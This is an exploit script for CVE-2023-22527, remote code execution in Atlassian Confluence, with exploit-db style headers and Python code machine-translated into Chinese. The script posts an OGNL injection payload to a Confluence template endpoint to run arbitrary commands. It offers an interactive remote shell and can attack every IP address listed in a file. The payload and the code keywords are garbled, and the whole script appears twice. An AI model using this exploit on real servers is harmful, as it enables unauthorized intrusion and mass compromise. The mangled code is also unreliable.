#利用标题: CVE-2023-22527: ATLASSIAN CONDRUESS RCE脆弱性
#日期: 25/1/2024
#利用作者: maanvader
#供应商homepage: https://www.atlassian.com/software/confluence
#软件link: https://www.atlassian.com/software/confluence
#版本: 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x,8.5.0-8.5.3
#测试在: 8.5.3
#CVE : CVE-2023-22527
导入请求
导入argparse
导入urllib3
来自提示_toolkit进口提示
来自提示_toolkit.formatted_text导入html
来自Rich.Console进口控制台
#禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
#参数解析
parser=argparse.argumentparser(Description='将有效载荷发送到Confluence服务器。')
parser.add_argument(' - u',' - url',help='单汇合服务器url')
parser.add_argument(' - f',' - 文件',help='包含IP地址列表的文件')
parser.add_argument(' - c',' - command',help='命令执行')
parser.add_argument(' - shell',action='store_true',help='在指定的URL上打开交互式外壳')
args=parser.parse_args()
#格式输出的Rich Console
console=console()
#发送有效载荷的功能
def send_payload(url,命令):
标题={
'Connection':'关闭',
'content-type':'应用程序/x-www-form-urlenCoded'
}
有效载荷=('label=\ u0027%2B#请求\ u005b \ u0027.key_velocity.struts2.context \ u0027 \ u0055d.internalter(\ u0027ognl \ u0027ognl \ u0027)。
'[email protected]@getResponse()。
标头['content-Lengths']=str(len(有效载荷))
full_url=f'{url}/template/aui/text-inline.vm'
响应=requests.post(full_url,verify=false,标头=标题,data=有效载荷,超时=10,ally_redirects=false)
返回响应.text.split('!doctype html')[0] .strip()
#交互式外壳功能
Def Interactive_shell(url):
会话=提示()
console.print('[[Bold Yellow] [!] Shell准备就绪,请输入您的命令UWU [/BOLD YELLY]')
而true:
TRY:
cmd=session.prompt(html('ansiredb $ /b /ansired'))
如果在['exit','quit'] :中的cmd.lower()
休息
响应=send_payload(url,cmd)
console.print(响应)
除了键盘Interrupt:
休息
除异常外,E:
console.print(f'[Bold Red] error: {e} [/BOLD RED]')
休息
#处理文件功能
def Process_file(file_path):
用file:打开(file_path,'r')
对于File:中的行
ip=line.strip()
url=f'http://{ip} :8090'
console.print(f'processing {url}')
打印(send_payload(url,args.command))
#主要执行逻辑
如果args.shell and args.url:
Interactive_shell(args.url)
elif args.url and args.command:
打印(send_payload(args.url,args.command))
elif args.file and args.command:
process_file(args.file)
其他:
打印('error:请提供有效的URL和命令或使用交互式外壳选项。”)
#日期: 25/1/2024
#利用作者: maanvader
#供应商homepage: https://www.atlassian.com/software/confluence
#软件link: https://www.atlassian.com/software/confluence
#版本: 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x,8.5.0-8.5.3
#测试在: 8.5.3
#CVE : CVE-2023-22527
导入请求
导入argparse
导入urllib3
来自提示_toolkit进口提示
来自提示_toolkit.formatted_text导入html
来自Rich.Console进口控制台
#禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
#参数解析
parser=argparse.argumentparser(Description='将有效载荷发送到Confluence服务器。')
parser.add_argument(' - u',' - url',help='单汇合服务器url')
parser.add_argument(' - f',' - 文件',help='包含IP地址列表的文件')
parser.add_argument(' - c',' - command',help='命令执行')
parser.add_argument(' - shell',action='store_true',help='在指定的URL上打开交互式外壳')
args=parser.parse_args()
#格式输出的Rich Console
console=console()
#发送有效载荷的功能
def send_payload(url,命令):
标题={
'Connection':'关闭',
'content-type':'应用程序/x-www-form-urlenCoded'
}
有效载荷=('label=\ u0027%2B#请求\ u005b \ u0027.key_velocity.struts2.context \ u0027 \ u0055d.internalter(\ u0027ognl \ u0027ognl \ u0027)。
'[email protected]@getResponse()。
标头['content-Lengths']=str(len(有效载荷))
full_url=f'{url}/template/aui/text-inline.vm'
响应=requests.post(full_url,verify=false,标头=标题,data=有效载荷,超时=10,ally_redirects=false)
返回响应.text.split('!doctype html')[0] .strip()
#交互式外壳功能
Def Interactive_shell(url):
会话=提示()
console.print('[[Bold Yellow] [!] Shell准备就绪,请输入您的命令UWU [/BOLD YELLY]')
而true:
TRY:
cmd=session.prompt(html('ansiredb $ /b /ansired'))
如果在['exit','quit'] :中的cmd.lower()
休息
响应=send_payload(url,cmd)
console.print(响应)
除了键盘Interrupt:
休息
除异常外,E:
console.print(f'[Bold Red] error: {e} [/BOLD RED]')
休息
#处理文件功能
def Process_file(file_path):
用file:打开(file_path,'r')
对于File:中的行
ip=line.strip()
url=f'http://{ip} :8090'
console.print(f'processing {url}')
打印(send_payload(url,args.command))
#主要执行逻辑
如果args.shell and args.url:
Interactive_shell(args.url)
elif args.url and args.command:
打印(send_payload(args.url,args.command))
elif args.file and args.command:
process_file(args.file)
其他:
打印('error:请提供有效的URL和命令或使用交互式外壳选项。”)